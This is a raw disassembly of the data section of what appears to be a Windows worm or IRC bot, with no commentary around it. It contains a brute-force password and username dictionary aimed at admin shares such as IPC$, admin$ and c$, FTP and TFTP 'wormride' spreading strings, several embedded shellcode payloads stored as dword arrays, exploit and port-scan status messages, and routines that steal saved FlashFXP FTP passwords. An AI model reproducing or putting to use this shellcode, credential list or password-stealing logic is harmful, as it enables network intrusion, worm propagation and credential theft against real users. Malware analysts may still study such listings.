aAccounts	db 'accounts',0         ; DATA XREF: .data:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0041BE00o
aSex		db 'sex',0              ; DATA XREF: .data:0041BDFCo
					; .data:0041BED0o
aOutlook	db 'outlook',0          ; DATA XREF: .data:0041BDECo
aMail		db 'mail',0             ; DATA XREF: .data:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .data:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: .data:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: .data:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: .data:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0041BDB4o
		align 10h
aTest		db 'test',0             ; DATA XREF: .data:0041BDA8o
		align 4
a2005		db '2005',0             ; DATA XREF: .data:0041BDA4o
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:0041BDA0o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0041BD94o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: .data:0041BD8Co
		align 4
aPayday		db 'payday',0           ; DATA XREF: .data:0041BD88o
		align 10h
aDeadline	db 'deadline',0         ; DATA XREF: .data:0041BD84o
		align 4
aWork		db 'work',0             ; DATA XREF: .data:0041BD80o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0041BD7Co
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .data:0041BD78o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .data:0041BD74o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0041BD70o
a123456		db '123456',0           ; DATA XREF: .data:0041BD6Co
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0041BD68o
		align 10h
a1234		db '1234',0             ; DATA XREF: .data:0041BD64o
		align 4
a123		db '123',0              ; DATA XREF: .data:0041BD60o
a12		db '12',0               ; DATA XREF: .data:0041BD5Co
		align 10h
a1_0:					; DATA XREF: .data:0041BD58o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:0041BD54o
aPwd		db 'pwd',0              ; DATA XREF: .data:0041BD50o
aPass_0		db 'pass',0             ; DATA XREF: .data:0041BD4Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0041BD48o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .data:0041BD44o
aPasswd		db 'passwd',0           ; DATA XREF: .data:0041BD40o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0041BD3Co
					; .data:0041D790o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0041BD38o
		align 4
aAbc		db 'abc',0              ; DATA XREF: .data:0041BD34o
aAb		db 'ab',0               ; DATA XREF: .data:0041BD30o
		align 4
aA_1:					; DATA XREF: .data:0041BD2Co
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .data:0041BD04o
		align 4
aPrint		db 'print$',0           ; DATA XREF: .data:0041BD00o
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
					; DATA XREF: .data:0041BCFCo
aAdmin_0	db 'admin$',0           ; DATA XREF: .data:0041BCF8o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: .data:0041BCF4o
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: .data:0041BCECo
		align 10h
aCWindows	db 'c$\windows',0       ; DATA XREF: .data:0041BCE8o
		align 4
aCWinnt		db 'c$\winnt',0         ; DATA XREF: .data:0041BCE4o
		align 4
aEShared	db 'e$\shared',0        ; DATA XREF: .data:0041BCE0o
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .data:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0        ; DATA XREF: .data:0041BCD8o
		align 4
aE_0		db 'e$',0               ; DATA XREF: .data:0041BCD4o
		align 10h
aD		db 'd$',0               ; DATA XREF: .data:0041BCD0o
		align 4
aC_0		db 'c$',0               ; DATA XREF: .data:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0041BCC4o
					; .data:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0041BCC0o
					; .data:0041BF78o
aOwner		db 'owner',0            ; DATA XREF: .data:0041BCBCo
					; .data:0041BF74o
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0041BCB8o
					; .data:0041BF70o
aIntranet	db 'intranet',0         ; DATA XREF: .data:0041BCB4o
					; .data:0041BF6Co
		align 4
aLan_0		db 'lan',0              ; DATA XREF: .data:0041BCACo
					; .data:0041BF64o
aMain		db 'main',0             ; DATA XREF: sub_416AC5+5o
					; .text:00416AECo ...
		align 10h
aOffice		db 'office',0           ; DATA XREF: .data:0041BCA4o
					; .data:0041BF54o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0041BCA0o
					; .data:0041BF50o
aSiemens	db 'siemens',0          ; DATA XREF: .data:0041BC9Co
					; .data:0041BF40o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0041BC98o
					; .data:0041BF3Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:0041BC94o
					; .data:0041BF38o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:0041BC90o
					; .data:0041BF34o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .data:0041BC8Co
					; .data:0041BF30o
aOracle		db 'oracle',0           ; DATA XREF: .data:0041BC88o
					; .data:0041BF2Co
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0041BC84o
					; .data:0041BF20o
aSa		db 'sa',0               ; DATA XREF: .data:0041BC80o
					; .data:0041BF1Co
		align 4
aData		db 'data',0             ; DATA XREF: .data:0041BC7Co
					; .data:0041BF08o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0041BC78o
					; .data:0041BEF8o
		align 4
aDatabase	db 'database',0         ; DATA XREF: .data:0041BC74o
					; .data:0041BEF4o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: .data:0041BC70o
					; .data:0041BEE8o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:0041BC6Co
					; .data:0041BED4o
aBackup		db 'backup',0           ; DATA XREF: .data:0041BC68o
					; .data:0041BEBCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0041BC64o
					; .data:0041BEB8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .data:0041BC60o
					; .data:0041BEACo
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:0041BC5Co
					; .data:0041BEA8o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .data:0041BC54o
					; .data:0041BEA0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:0041BC50o
					; .data:0041BE9Co
		align 10h
aEric		db 'eric',0             ; DATA XREF: .data:0041BC4Co
					; .data:0041BE98o
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0041BC48o
					; .data:0041BDB0o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: .data:0041BC44o
					; .data:0041BDACo
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:0041BC40o
					; .data:0041BE94o
		align 10h
aIan		db 'ian',0              ; DATA XREF: .data:0041BC3Co
					; .data:0041BE90o
aNeil		db 'neil',0             ; DATA XREF: .data:0041BC38o
					; .data:0041BE8Co
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:0041BC34o
					; .data:0041BE88o
aBrian		db 'brian',0            ; DATA XREF: .data:0041BC30o
					; .data:0041BE84o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:0041BC28o
					; .data:0041BE7Co
		align 10h
aSue		db 'sue',0              ; DATA XREF: .data:0041BC24o
					; .data:0041BE78o
aSam		db 'sam',0              ; DATA XREF: .data:0041BC20o
					; .data:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: .data:0041BC1Co
					; .data:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .data:0041BC18o
					; .data:0041BC2Co ...
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0041BC14o
					; .data:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0041BC10o
					; .data:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0041BC0Co
					; .data:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .data:0041BC08o
					; .data:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0041BC04o
					; .data:0041BE58o
aJen		db 'jen',0              ; DATA XREF: .data:0041BC00o
					; .data:0041BE54o
aBob		db 'bob',0              ; DATA XREF: .data:0041BBFCo
					; .data:0041BC58o ...
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0041BBF8o
					; .data:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0041BBF4o
					; .data:0041BE1Co
aUser_1		db 'user',0             ; DATA XREF: .data:0041BBF0o
					; .data:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0041BBECo
					; .data:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0041BBE8o
					; .data:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0041BBE4o
					; .data:0041BCB0o ...
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0041BBE0o
					; .data:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: .data:0041BBDCo
					; .data:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: .data:0041BBD8o
					; .data:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .data:0041BBD4o
					; .data:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0041BBCCo
					; .data:0041BDC0o
		align 10h
aUnix_0		db 'unix',0             ; DATA XREF: .data:0041BBC8o
					; .data:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0041BBC4o
					; .data:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0041BBC0o
					; .data:0041BD28o
aAdmin		db 'admin',0            ; DATA XREF: .data:0041BBBCo
					; .data:0041BD24o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .data:0041BBB8o
					; .data:0041BD20o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0041BBB4o
					; .data:0041BD1Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0041BBB0o
					; .data:0041BD18o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0041BBACo
					; .data:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0041BBA8o
					; .data:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 135A78h			align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 157728h			dd 2 dup(0)
a226		db '226 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 146AF8h			dd 2 dup(0)
a213U		db '213 %u',0Dh,0Ah,0   ; DATA XREF: sub_41113B+56Do
		align 4
dword_41C5F4	dd 1227B0h			align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 0F6578h			align 10h
a425		db '425 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 0FED08h			dd 2 dup(0)
a200		db '200 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 128230h			dd 2 dup(0)
a257		db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+2F7o
dword_41C654	dd 1F738h			dd 0
a211		db '211 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 1232B8h			align 10h
a215		db '215 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 124AF8h			dd 2 dup(0)
a230		db '230 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 0FECD8h			dd 2 dup(0)
a331		db '331 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 163AE8h			dd 2 dup(0)
dword_41C6AC	dd 0A0D20h						; sub_41113B+115o ...
a220		db '220 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+13o
a230_0		db '230',0              ; DATA XREF: sub_411A09+193o
aPass1		db 'PASS 1',0Dh,0Ah,0   ; DATA XREF: sub_411A09+11Do
		align 4
a331_0		db '331',0              ; DATA XREF: sub_411A09+F9o
aUser1		db 'USER 1',0Dh,0Ah,0   ; DATA XREF: sub_411A09:loc_411A8Ao
		align 4
a220_0		db '220',0              ; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4
dword_41C7C8	dd 0B915EBh, 81000000h,	0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h
					; DATA XREF: sub_4125DF+50o
		dd 0FFFFFFE6h, 0
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
		dd 0E5FFh
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
		dd 0E5FFh
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
		dd 0E5FFh
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh						; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CC4C	; DATA XREF: sub_4127D0+77r
		dd offset aBg		; "ÓÞƒ"
		dd 0
		dd offset dword_41CC2C
		dd offset aOa		; "×׎€"
		align 8
		dd offset dword_41CC08
		dd offset aDvi		; "ÓÖ„‚©"
		dd 0
		dd offset dword_41CBE8
		dd offset aPa		; "ÚÖ€"
		dd 4 dup(0)
aPa		db 'ÚÖ€',0             ; DATA XREF: .data:0041CBC8o
					; .data:0041DA90o
		align 8
dword_41CBE8	dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0)					; .data:0041DA8Co
aDvi		db 'ÓÖ„‚©',0            ; DATA XREF: .data:0041CBBCo
					; .data:0041DA84o
		align 8
dword_41CC08	dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0)
					; DATA XREF: .data:0041CBB8o
					; .data:0041DA80o
aOa		db '×׎€',0             ; DATA XREF: .data:0041CBB0o
					; .data:0041DA78o
		align 4
		dd 0
dword_41CC2C	dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h,	0
					; DATA XREF: .data:0041CBACo
					; .data:0041DA74o
aBg		db 'ÓÞƒ',0             ; DATA XREF: .data:0041CBA4o
					; .data:off_41DA6Co
		align 4
		dd 0
dword_41CC4C	dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0)
					; DATA XREF: .data:off_41CBA0o
					; .data:off_41DA68o
dword_41CC64	dd 72h		dword_41CC68	dd 62h		dword_41CC6C	dd 63h		dword_41CC70	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CCA8	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
aJeP		db '†…ØÝ¯',0            ; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		align 4
		dd 2 dup(0)
		dd 0D3000000h, 82D5h, 3	dup(0)
		db 2 dup(0)
dword_41CCF6	dd 0B33DE2EFh						; sub_412FC6+31r ...
dword_41CCFA	dd 0							; sub_414052+B5r ...
off_41CCFE	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0)
		dd 82D2D600h, 4	dup(0)
a?_0		db '?(Ƶ',0
		align 4
		dd offset sub_410B52
		dd 3, 10h dup(0)
aWin32		db '(Win32)',0          ; DATA XREF: sub_41308F+217o
aUnix		db '(Unix)',0           ; DATA XREF: sub_41308F+1F1o
		align 10h
aApacheU	db 'Apache/%u',0        ; DATA XREF: sub_41308F+1DFo
		align 4
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 4
unk_41CDE8	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE2C	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CE40	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE78	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CEA4	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEDC	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CF20	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF50	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CFA4	dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 4
dword_41CFE8	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D018	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D050	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D080	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D0A0	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0DC	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D0F0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D138	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D22C	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
